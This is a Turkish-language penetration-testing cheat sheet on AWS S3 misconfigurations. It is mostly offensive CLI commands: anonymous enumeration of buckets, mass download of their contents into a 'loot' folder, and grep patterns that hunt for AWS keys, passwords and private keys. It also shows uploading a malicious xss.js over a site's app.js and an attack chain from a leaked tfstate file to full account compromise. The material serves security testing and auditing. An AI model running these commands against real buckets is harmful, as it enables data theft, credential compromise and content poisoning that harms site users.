AWS — S3 Yanlış Yapılandırmaları
AWS veri ifşası
AWS veri ifşası
Amazon S3, en sık veri sızıntısı kaynaklarından biridir. Public bucket’lar, gevşek ACL/policy’ler, yazma izinleri ve sızmış pre-signed URL’ler hem veri ifşasına hem de içerik zehirlemeye (JS/CDN, yazılım güncellemesi) yol açar.
Ön koşullar / hedef
Section titled “Ön koşullar / hedef”- Bucket adı (tahmin, OSINT, DNS, JS, hata mesajı, cloud_enum)- Anonim erişim denemesi (--no-sign-request) ve/veya geçerli AWS kimliği- Bölge farkı: bucket bölgesi yanlışsa redirect/hata alırsınaws s3 ls s3://<bucket> --no-sign-requestaws s3 ls s3://<bucket> --no-sign-request --region us-east-1curl -sI https://<bucket>.s3.amazonaws.com/curl -s https://<bucket>.s3.amazonaws.com/ # public list XMLcurl -s https://<bucket>.s3.<region>.amazonaws.com/curl -s http://<bucket>.s3-website-<region>.amazonaws.com/cloud_enum -k <sirket>s3scanner scan --buckets-file names.txtBucket adları globaldir; şirket adı + -prod, -backup, -assets, -dev, -staging, -logs, -tfstate, -artifacts sonekleriyle tahmin edilir.
Kimlikli listeleme:
aws s3 lsaws s3api list-bucketsaws s3 ls s3://<bucket> --recursive --human-readableaws s3api list-objects-v2 --bucket <bucket> --max-items 50Yanlış yapılandırma kontrolleri
Section titled “Yanlış yapılandırma kontrolleri”-
Anonim okuma — –no-sign-request ile listeleme/indirme çalışıyor mu. Tek dosya: aws s3 cp s3://bucket/secret.env - –no-sign-request .
-
Anonim yazma — aws s3 cp test.txt s3://
<bucket>/ –no-sign-request ; başarılıysa içerik zehirleme / defacement / malware drop mümkün. PutObject + public-read ACL ile kalıcı public dosya da bırakılabilir. -
ACL & policy — get-bucket-acl , get-bucket-policy , get-public-access-block ; AllUsers / AuthenticatedUsers grant’ları, Principal: “*” içeren policy’ler.
-
Pre-signed URL / sızıntı — kaynak kod, JS, wayback, GitHub, Slack; süresi dolmamış URL’ler; ayrıca aws s3 presign ile kendi yetkinle üretip paylaşım yüzeyi ölç.
aws s3api get-bucket-acl --bucket <bucket>aws s3api get-bucket-policy --bucket <bucket>aws s3api get-public-access-block --bucket <bucket>aws s3api get-bucket-cors --bucket <bucket>aws s3api get-bucket-logging --bucket <bucket>aws s3api get-bucket-versioning --bucket <bucket>aws s3api get-bucket-website --bucket <bucket>aws s3api get-object-acl --bucket <bucket> --key path/fileAuthenticatedUsers ve çapraz hesap
Section titled “AuthenticatedUsers ve çapraz hesap”AuthenticatedUsers (ACL) → herhangi bir AWS hesabı okuyabilir/yazabilirPrincipal: "*" → tamamen publicPrincipal: başka hesap → intentional share mi, yoksa fazla mı?s3:GetObject on Resource arn:aws:s3:::bucket/* without conditionaws s3 ls s3://<bucket> # kendi düşük yetkili hesabınla deneYüksek değerli nesneler
Section titled “Yüksek değerli nesneler”*.tfstate / terraform.tfstate → cloud keys, DB password*.pem, *.key, id_rsa, *.pfx.env, credentials, config.json*.sql, *.bak, dump, backup*.log (CloudTrail/app) — bazen key sızdırırstatic JS (API keys, Cognito, Firebase)aws s3 sync s3://<bucket> ./loot --no-sign-requestaws s3 sync s3://<bucket> ./lootgrep -RniE 'AKIA|ASIA|secret|password|BEGIN RSA' loot/Yazma / zehirleme senaryoları
Section titled “Yazma / zehirleme senaryoları”aws s3 cp xss.js s3://assets-bucket/app.js --no-sign-request \ --content-type application/javascriptaws s3api list-object-versions --bucket <bucket>aws s3api get-object --bucket <bucket> --key secrets.env \ --version-id <VID> outfileKomut üreteci
Section titled “Komut üreteci”AWS · S3 list anon
embedded toolaws s3 ls s3://target-bucket --no-sign-requestAWS · S3 list anon
Section titled “AWS · S3 list anon”Saldırı zinciri
Section titled “Saldırı zinciri”cloud_enum → public bucket list → terraform.tfstate içinde AKIA → sts get-caller-identity → IAM enum / Secrets Manager → tam hesap etkisi